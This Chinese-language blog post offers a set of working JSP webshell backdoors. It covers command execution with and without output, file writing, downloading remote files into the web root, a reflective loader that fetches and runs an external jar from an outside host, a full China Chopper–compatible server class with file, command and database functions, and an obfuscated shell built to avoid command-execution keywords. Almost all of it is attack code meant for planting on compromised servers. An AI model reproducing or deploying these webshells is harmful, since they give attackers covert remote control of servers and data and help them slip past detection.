jsp小后门
一：执行系统命令:
无回显执行系统命令：
jsp1<%Runtime.getRuntime().exec(request.getParameter("i"));%>
请求：http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls 执行之后不会有任何回显，用来反弹个shell很方便。 有回显带密码验证的:
jsp1 2 3 4 5 6 7 8 9<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print(""); while((a=in.read(b))!=-1){ out.println(new String(b,0,a)); } out.print(""); } %>
请求：http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls
二、把字符串编码后写入指定文件的：
jsp1<%new java.io.FileOutputStream(request.getParameter("f")).write(request.getParameter("c").getBytes());%>
请求：http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 写入web目录：
jsp1<%new java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f")).write(request.getParameter("c").getBytes());%>
请求：http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 2:
jsp1<%new java.io.RandomAccessFile(request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %>
请求：http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 写入web目录:
jsp1<%new java.io.RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %>
请求：http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 三：下载远程文件(不用apache io utils的话没办法把inputstream转byte,所以很长...)
jsp1<% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); byte[] b = new byte[1024]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -1; while ((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(request.getParameter("f")).write(baos.toByteArray()); %>
下载到web路径:
jsp1<% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); byte[] b = new byte[1024]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -1; while ((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray()); %>
请求：http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png
四：反射调用外部jar,完美后门
如果嫌弃上面的后门功能太弱太陈旧可以试试这个：
jsp1<%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter("u"))})).getMethods()[0].invoke(null, new Object[]{request.getParameterMap()})%>
请求：http://192.168.16.240:8080/Shell/reflect.jsp?u=http://javaweb.org/Cat.jar&023=A[](https://www.yzmm.net/uploads/2014/12/2.jpg)菜刀连接：http://192.168.16.240:8080/Shell/reflect.jsp?u=http://javaweb.org/Cat.jar，密码023.[](https://www.yzmm.net/uploads/2014/12/3.jpg)解： 利用反射加载一个外部的jar到当前应用，反射执行输出处理结果。request.getParameterMap()包含了请求的所有参数。由于加载的是外部的jar包，所以要求服务器必须能访问到这个jar地址。 下载：Cat.jar Load代码：
java1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28import java.io.IOException; import java.util.HashMap; import java.util.Map; import java.util.Map.Entry; /* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ /** * * @author yz */ public class Load { public static String load(Map map){ try { Map request = new HashMap(); for (Entry entrySet : map.entrySet()) { String key = entrySet.getKey(); String value = entrySet.getValue()[0]; request.put(key, value); } return new Chopper().doPost(request); } catch (IOException ex) { return ex.toString(); } } }
Chopper代码：
jsp1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212import java.io.BufferedInputStream; import java.io.BufferedReader; import java.io.BufferedWriter; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.io.OutputStreamWriter; import java.lang.reflect.Method; import java.net.HttpURLConnection; import java.net.URL; import java.net.URLClassLoader; import java.sql.Connection; import java.sql.DriverManager; import java.sql.ResultSet; import java.sql.ResultSetMetaData; import java.sql.Statement; import java.text.SimpleDateFormat; import java.util.Date; import java.util.Map; public class Chopper{ public static String getPassword() throws IOException { return "023"; } String cs = "UTF-8"; String encoding(String s) throws Exception { return new String(s.getBytes("ISO-8859-1"), cs); } Connection getConnection(String s) throws Exception { String[] x = s.trim().split("\r\n"); try { Class.forName(x[0].trim()); } catch (ClassNotFoundException e) { boolean classNotFound = true; BufferedReader br = new BufferedReader(new InputStreamReader(this.getClass().getResourceAsStream("/map.txt"))); String str = ""; while ((str = br.readLine()) != null) { String[] arr = str.split("="); if (arr.length == 2 && arr[0].trim().equals(x[0].trim())) { try { URLClassLoader ucl = (URLClassLoader) ClassLoader.getSystemClassLoader(); Method m = URLClassLoader.class.getDeclaredMethod("addURL", URL.class); m.setAccessible(true); m.invoke(ucl, new Object[]{new URL(arr[1])}); Class.forName(arr[0].trim()); classNotFound = false; break; } catch (ClassNotFoundException ex) { throw ex; } } } if (classNotFound) { throw e; } } if (x[1].contains("jdbc:oracle")) { return DriverManager.getConnection(x[1].trim() + ":" + x[4], x[2].equalsIgnoreCase("[/null]") ? "" : x[2], x[3].equalsIgnoreCase("[/null]") ? "" : x[3]); } else { Connection c = DriverManager.getConnection(x[1].trim(), x[2].equalsIgnoreCase("[/null]") ? "" : x[2], x[3].equalsIgnoreCase("[/null]") ? "" : x[3]); if (x.length > 4) { c.setCatalog(x[4]); } return c; } } void listRoots(ByteArrayOutputStream out) throws Exception { File r[] = File.listRoots(); for (File f : r) { out.write((f.getName()).getBytes(cs)); } } void dir(String s, ByteArrayOutputStream out) throws Exception { File l[] = new File(s).listFiles(); for (File f : l) { String mt = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date(f.lastModified())); String rw = f.canRead() ? "R" : "" + (f.canWrite() ? " W" : ""); out.write((f.getName() + (f.isDirectory() ? "/" : "") + "\t" + mt + "\t" + f.length() + "\t" + rw + "\n").getBytes(cs)); } } void deleteFiles(File f) throws Exception { if (f.isDirectory()) { File x[] = f.listFiles(); for (File fs : x) { deleteFiles(fs); } } f.delete(); } byte[] readFile(String s) throws Exception { int n; byte[] b = new byte[1024]; BufferedInputStream bis = new BufferedInputStream(new FileInputStream(s)); ByteArrayOutputStream bos = new ByteArrayOutputStream(); while ((n = bis.read(b)) != -1) { bos.write(b, 0, n); } bis.close(); return bos.toByteArray(); } void upload(String s, String d) throws Exception { String h = "0123456789ABCDEF"; File f = new File(s); f.createNewFile(); FileOutputStream os = new FileOutputStream(f); for (int i = 0; i < d.length(); i += 2) { os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i + 1)))); } os.close(); } void filesMove(File sf, File df) throws Exception { if (sf.isDirectory()) { if (!df.exists()) { df.mkdir(); } File z[] = sf.listFiles(); for (File z1 : z) { filesMove(new File(sf, z1.getName()), new File(df, z1.getName())); } } else { FileInputStream is = new FileInputStream(sf); FileOutputStream os = new FileOutputStream(df); int n; byte[] b = new byte[1024]; while ((n = is.read(b)) != -1) { os.write(b, 0, n); } is.close(); os.close(); } } void fileMove(File s, File d) throws Exception { s.renameTo(d); } void mkdir(File s) throws Exception { s.mkdir(); } void setLastModified(File s, String t) throws Exception { s.setLastModified(new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").parse(t).getTime()); } void downloadRemoteFile(String s, String d) throws Exception { int n = 0; FileOutputStream os = new FileOutputStream(d); HttpURLConnection h = (HttpURLConnection) new URL(s).openConnection(); InputStream is = h.getInputStream(); byte[] b = new byte[1024]; while ((n = is.read(b)) != -1) { os.write(b, 0, n); } os.close(); is.close(); h.disconnect(); } void inputStreamToOutPutStream(InputStream is, ByteArrayOutputStream out) throws Exception { int i = -1; byte[] b = new byte[1024]; while ((i = is.read(b)) != -1) { out.write(b, 0, i); } } void getCurrentDB(String s, ByteArrayOutputStream out) throws Exception { Connection c = getConnection(s); ResultSet r = s.contains("jdbc:oracle") ? c.getMetaData().getSchemas() : c.getMetaData().getCatalogs(); while (r.next()) { out.write((r.getObject(1) + "\t").getBytes(cs)); } r.close(); c.close(); } void getTableName(String s, ByteArrayOutputStream out) throws Exception { Connection c = getConnection(s); String[] x = s.trim().split("\r\n"); ResultSet r = c.getMetaData().getTables(null, s.contains("jdbc:oracle") ? x.length > 5 ? x[5] : x[4] : null, "%", new String[]{"TABLE"}); while (r.next()) { out.write((r.getObject("TABLE_NAME") + "\t").getBytes(cs)); } r.close(); c.close(); } void getTableColumn(String s, ByteArrayOutputStream out) throws Exception { String[] x = s.trim().split("\r\n"); Connection c = getConnection(s); ResultSet r = c.prepareStatement("select * from " + x[x.length - 1]).executeQuery(); ResultSetMetaData d = r.getMetaData(); for (int i = 1; i <= d.getColumnCount(); i++) { out.write((d.getColumnName(i) + " (" + d.getColumnTypeName(i) + ")\t").getBytes(cs)); } r.close(); c.close(); } void executeQuery(String cs, String s, String q, ByteArrayOutputStream out, String p) throws Exception { Connection c = getConnection(s); Statement m = c.createStatement(1005, 1008); BufferedWriter bw = null; try { boolean f = q.contains("--f:"); ResultSet r = m.executeQuery(f ? q.substring(0, q.indexOf("--f:")) : q); ResultSetMetaData d = r.getMetaData(); int n = d.getColumnCount(); for (int i = 1; i <= n; i++) { out.write((d.getColumnName(i) + "\t|\t").getBytes(cs)); } out.write(("\r\n").getBytes(cs)); if (f) { File file = new File(p); if (!q.contains("-to:")) { file.mkdir(); } bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(q.contains("-to:") ? p.trim() : p + q.substring(q.indexOf("--f:") + 4, q.length()).trim()), true), cs)); } while (r.next()) { for (int i = 1; i <= n; i++) { if (f) { bw.write(r.getObject(i) + "" + "\t"); bw.flush(); } else { out.write((r.getObject(i) + "" + "\t|\t").getBytes(cs)); } } if (bw != null) { bw.newLine(); } out.write(("\r\n").getBytes(cs)); } r.close(); if (bw != null) { bw.close(); } } catch (Exception e) { out.write(("Result\t|\t\r\n").getBytes(cs)); try { m.executeUpdate(q); out.write(("Execute Successfully!\t|\t\r\n").getBytes(cs)); } catch (Exception ee) { out.write((ee.toString() + "\t|\t\r\n").getBytes(cs)); } } m.close(); c.close(); } public String doPost(Maprequest) throws IOException { cs = request.get("z0") != null ? request.get("z0") + "" : cs; ByteArrayOutputStream out = new ByteArrayOutputStream(); try { char z = (char) request.get(getPassword()).getBytes()[0]; String z1 = encoding(request.get("z1") + ""); String z2 = encoding(request.get("z2") + ""); out.write("->|".getBytes(cs)); String s = new File("").getCanonicalPath(); byte[] returnTrue = "1".getBytes(cs); switch (z) { case 'A': out.write((s + "\t").getBytes(cs)); if (!s.substring(0, 1).equals("/")) { listRoots(out); } break; case 'B': dir(z1, out); break; case 'C': String l = ""; BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1)))); while ((l = br.readLine()) != null) { out.write((l + "\r\n").getBytes(cs)); } br.close(); break; case 'D': BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1)))); bw.write(z2); bw.flush(); bw.close(); out.write(returnTrue); break; case 'E': deleteFiles(new File(z1)); out.write("1".getBytes(cs)); break; case 'F': out.write(readFile(z1)); case 'G': upload(z1, z2); out.write(returnTrue); break; case 'H': filesMove(new File(z1), new File(z2)); out.write(returnTrue); break; case 'I': fileMove(new File(z1), new File(z2)); out.write(returnTrue); break; case 'J': mkdir(new File(z1)); out.write(returnTrue); break; case 'K': setLastModified(new File(z1), z2); out.write(returnTrue); break; case 'L': downloadRemoteFile(z1, z2); out.write(returnTrue); break; case 'M': String[] c = {z1.substring(2), z1.substring(0, 2), z2}; Process p = Runtime.getRuntime().exec(c); inputStreamToOutPutStream(p.getInputStream(), out); inputStreamToOutPutStream(p.getErrorStream(), out); break; case 'N': getCurrentDB(z1, out); break; case 'O': getTableName(z1, out); break; case 'P': getTableColumn(z1, out); break; case 'Q': executeQuery(cs, z1, z2, out, z2.contains("-to:") ? z2.substring(z2.indexOf("-to:") + 4, z2.length()) : s.replaceAll("\\\\", "/") + "images/"); break; } } catch (Exception e) { out.write(("ERROR" + ":// " + e.toString()).getBytes(cs)); } out.write(("|<-").getBytes(cs)); return new String(out.toByteArray()); } }
map.txt:
oracle.jdbc.driver.OracleDriver=http://javaweb.org/jdbc/classes12.jar
com.mysql.jdbc.Driver=http://javaweb.org/jdbc/mysql-connector-java-5.1.14-bin.jar
com.microsoft.jdbc.sqlserver.SQLServerDriver=http://javaweb.org/jdbc/sqlserver2000/msbase.jar,http://javaweb.org/jdbc/sqlserver2000/mssqlserver.jar,http://javaweb.org/jdbc/sqlserver2000/msutil.jar
com.microsoft.sqlserver.jdbc.SQLServerDriver=http://javaweb.org/jdbc/sqljdbc4.jar
com.ibm.db2.jcc.DB2Driver=http://javaweb.org/jdbc/db2java.jar
com.informix.jdbc.IfxDriver=http://javaweb.org/jdbc/ifxjdbc.jar
com.sybase.jdbc3.jdbc.SybDriver=http://javaweb.org/jdbc/jconn3d.jar
org.postgresql.Driver=http://javaweb.org/jdbc/postgresql-9.2-1003.jdbc4.jar
com.ncr.teradata.TeraDriver=http://javaweb.org/jdbc/teradata-jdbc4-14.00.00.04.jar
com.hxtt.sql.access.AccessDriver=http://javaweb.org/jdbc/Access_JDBC30.jar
org.apache.derby.jdbc.ClientDriver=http://javaweb.org/jdbc/derby.jar
org.hsqldb.jdbcDriver=http://javaweb.org/jdbc/hsqldb.jar
net.sourceforge.jtds.jdbc.Driver=http://javaweb.org/jdbc/jtds-1.2.5.jar
mongodb=http://javaweb.org/jdbc/mongo-java-driver-2.9.3.jar
无任何命令执行关键字的cmd.zip
xml1 2 3 4 5 6 7 8 9 10 11<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"> <jsp:directive.page contentType="text/html" pageEncoding="UTF-8"/> <jsp:scriptlet> Class<?> api = String.class.getClass().forName(new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101})); Object obj2 = api.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class).invoke(api.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101})).invoke(null, new Object[]{}), new Object[]{request.getParameter("str")}); java.lang.reflect.Method m = obj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109})); m.setAccessible(true); java.util.Scanner s = new java.util.Scanner((java.io.InputStream) m.invoke(obj2, new Object[]{})).useDelimiter("\\A"); out.write("<pre>" + (s.hasNext() ? s.next() : "") + "</pre>"); </jsp:scriptlet> </jsp:root>
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